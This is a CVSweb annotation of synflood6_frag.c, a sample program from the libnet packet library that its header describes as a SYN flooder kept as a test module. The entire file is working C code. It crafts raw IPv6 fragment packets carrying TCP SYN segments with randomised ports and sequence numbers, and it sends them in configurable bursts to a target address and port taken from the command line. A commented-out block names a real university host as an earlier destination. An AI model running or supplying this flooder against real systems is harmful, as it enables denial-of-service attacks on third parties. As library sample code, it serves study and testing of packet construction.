Annotation of embedaddon/libnet/sample/synflood6_frag.c, revision 1.1
1.1 ! misho 1: /*
! 2: * $Id: synflood6_frag.c,v 1.1 2004/01/03 20:31:01 mike Exp $
! 3: *
! 4: * Poseidon++ (c) 1996 - 2003 Mike D. Schiffman <mike@infonexus.com>
! 5: * SYN flooder rewritten for no good reason. Again as libnet test module.
! 6: * Again for libnet 1.1.
! 7: * All rights reserved.
! 8: *
! 9: * Modifications for ipv6 by Stefan Schlott <stefan@ploing.de>
! 10: *
! 11: * Redistribution and use in source and binary forms, with or without
! 12: * modification, are permitted provided that the following conditions
! 13: * are met:
! 14: * 1. Redistributions of source code must retain the above copyright
! 15: * notice, this list of conditions and the following disclaimer.
! 16: * 2. Redistributions in binary form must reproduce the above copyright
! 17: * notice, this list of conditions and the following disclaimer in the
! 18: * documentation and/or other materials provided with the distribution.
! 19: *
! 20: * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
! 21: * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
! 22: * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
! 23: * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
! 24: * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
! 25: * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
! 26: * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
! 27: * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
! 28: * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
! 29: * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
! 30: * SUCH DAMAGE.
! 31: *
! 32: */
! 33:
! 34: #if (HAVE_CONFIG_H)
! 35: #include "../include/config.h"
! 36: #endif
! 37: #include "./libnet_test.h"
! 38:
! 39: struct t_pack
! 40: {
! 41: struct libnet_ipv6_hdr ip;
! 42: struct libnet_tcp_hdr tcp;
! 43: };
! 44:
! 45:
! 46: int
! 47: main(int argc, char **argv)
! 48: {
! 49: struct libnet_in6_addr dst_ip;
! 50: struct libnet_in6_addr src_ip;
! 51: u_short dst_prt = 0;
! 52: u_short src_prt = 0;
! 53: libnet_t *l;
! 54: libnet_ptag_t tcp, ip, ip_frag;
! 55: u_char *cp;
! 56: char errbuf[LIBNET_ERRBUF_SIZE];
! 57: int i, j, c, packet_amt, burst_int, burst_amt;
! 58: char srcname[100], dstname[100];
! 59: u_int8_t payload[56];
! 60:
! 61: packet_amt = 0;
! 62: burst_int = 0;
! 63: burst_amt = 1;
! 64: tcp = ip_frag = ip = LIBNET_PTAG_INITIALIZER;
! 65:
! 66: printf("libnet 1.1 syn flooding: TCP IPv6 fragments [raw]\n");
! 67:
! 68: l = libnet_init(
! 69: LIBNET_RAW6, /* injection type */
! 70: NULL, /* network interface */
! 71: errbuf); /* error buffer */
! 72:
! 73: if (l == NULL)
! 74: {
! 75: fprintf(stderr, "libnet_init() failed: %s", errbuf);
! 76: exit(EXIT_FAILURE);
! 77: }
! 78:
! 79: while((c = getopt(argc, argv, "t:a:i:b:")) != EOF)
! 80: {
! 81: switch (c)
! 82: {
! 83: case 't':
! 84: if (!(cp = strrchr(optarg, '/')))
! 85: {
! 86: usage(argv[0]);
! 87: exit(EXIT_FAILURE);
! 88: }
! 89: *cp++ = 0;
! 90: dst_prt = (u_short)atoi(cp);
! 91: dst_ip = libnet_name2addr6(l, optarg, 1);
! 92: if (strncmp((char*)&dst_ip,
! 93: (char*)&in6addr_error,sizeof(in6addr_error))==0)
! 94: {
! 95: fprintf(stderr, "Bad IPv6 address: %s\n", optarg);
! 96: exit(EXIT_FAILURE);
! 97: }
! 98: break;
! 99: case 'a':
! 100: packet_amt = atoi(optarg);
! 101: break;
! 102: case 'i':
! 103: burst_int = atoi(optarg);
! 104: break;
! 105: case 'b':
! 106: burst_amt = atoi(optarg);
! 107: break;
! 108: default:
! 109: usage(argv[0]);
! 110: exit(EXIT_FAILURE);
! 111: }
! 112: }
! 113:
! 114: src_ip = libnet_name2addr6(l, "0:0:0:0:0:0:0:1", LIBNET_DONT_RESOLVE);
! 115: /* src_ip = libnet_name2addr6(l,
! 116: "3ffe:400:60:4d:250:fcff:fe2c:a9cd", LIBNET_DONT_RESOLVE);
! 117: dst_prt = 113;
! 118: dst_ip = libnet_name2addr6(l, "nathan.ip6.uni-ulm.de", LIBNET_RESOLVE);
! 119: packet_amt = 1;
! 120: */
! 121:
! 122: if (!dst_prt || strncmp((char*)&dst_ip,
! 123: (char*)&in6addr_error,sizeof(in6addr_error))==0 || !packet_amt)
! 124: {
! 125: usage(argv[0]);
! 126: exit(EXIT_FAILURE);
! 127: }
! 128:
! 129: libnet_seed_prand(l);
! 130: libnet_addr2name6_r(src_ip, LIBNET_RESOLVE, srcname, sizeof(srcname));
! 131: libnet_addr2name6_r(dst_ip, LIBNET_RESOLVE, dstname, sizeof(dstname));
! 132:
! 133: for(; burst_amt--;)
! 134: {
! 135: for (i = 0; i < packet_amt; i++)
! 136: {
! 137: for (j = 0; j < 56; j++) payload[j] = 'A' + ((char)(j % 26));
! 138:
! 139: tcp = libnet_build_tcp(
! 140: src_prt = libnet_get_prand(LIBNET_PRu16),
! 141: dst_prt,
! 142: libnet_get_prand(LIBNET_PRu32),
! 143: libnet_get_prand(LIBNET_PRu32),
! 144: TH_SYN,
! 145: libnet_get_prand(LIBNET_PRu16),
! 146: 0,
! 147: 0,
! 148: LIBNET_TCP_H,
! 149: NULL,
! 150: 0,
! 151: l,
! 152: tcp);
! 153: if (tcp == -1)
! 154: {
! 155: fprintf(stderr, "Can't build or modify TCP header: %s\n",
! 156: libnet_geterror(l));
! 157: return (EXIT_FAILURE);
! 158: }
! 159:
! 160: ip_frag = libnet_build_ipv6_frag(
! 161: IPPROTO_TCP, /* next header */
! 162: 0, /* reserved */
! 163: 0, /* frag bits */
! 164: 1, /* ip id */
! 165: NULL,
! 166: 0,
! 167: l,
! 168: ip_frag);
! 169: if (ip_frag == -1)
! 170: {
! 171: fprintf(stderr, "Can't build or modify TCP header: %s\n",
! 172: libnet_geterror(l));
! 173: return (EXIT_FAILURE);
! 174: }
! 175:
! 176: ip = libnet_build_ipv6(
! 177: 0, 0,
! 178: LIBNET_TCP_H,
! 179: IPPROTO_TCP,
! 180: 64,
! 181: src_ip,
! 182: dst_ip,
! 183: NULL,
! 184: 0,
! 185: l,
! 186: ip);
! 187: if (ip == -1)
! 188: {
! 189: fprintf(stderr, "Can't build or modify TCP header: %s\n",
! 190: libnet_geterror(l));
! 191: return (EXIT_FAILURE);
! 192: }
! 193:
! 194: printf("%15s/%5d -> %15s/%5d\n",
! 195: srcname,
! 196: ntohs(src_prt),
! 197: dstname,
! 198: dst_prt);
! 199:
! 200: c = libnet_write(l);
! 201: if (c == -1)
! 202: {
! 203: fprintf(stderr, "libnet_write: %s\n", libnet_geterror(l));
! 204: }
! 205: #if !(__WIN32__)
! 206: usleep(250);
! 207: #else
! 208: Sleep(250);
! 209: #endif
! 210:
! 211: }
! 212: #if !(__WIN32__)
! 213: sleep(burst_int);
! 214: #else
! 215: Sleep(burst_int * 1000);
! 216: #endif
! 217: }
! 218: exit(EXIT_SUCCESS);
! 219: }
! 220:
! 221:
! 222: void
! 223: usage(char *nomenclature)
! 224: {
! 225: fprintf(stderr,
! 226: "\n\nusage: %s -t -a [-i -b]\n"
! 227: "\t-t target, (ip6:address/port, e.g. ::1/23)\n"
! 228: "\t-a number of packets to send per burst\n"
! 229: "\t-i packet burst sending interval (defaults to 0)\n"
! 230: "\t-b number packet bursts to send (defaults to 1)\n" , nomenclature);
! 231: }
! 232:
! 233:
! 234: /* EOF */
FreeBSD-CVSweb <freebsd-cvsweb@FreeBSD.org>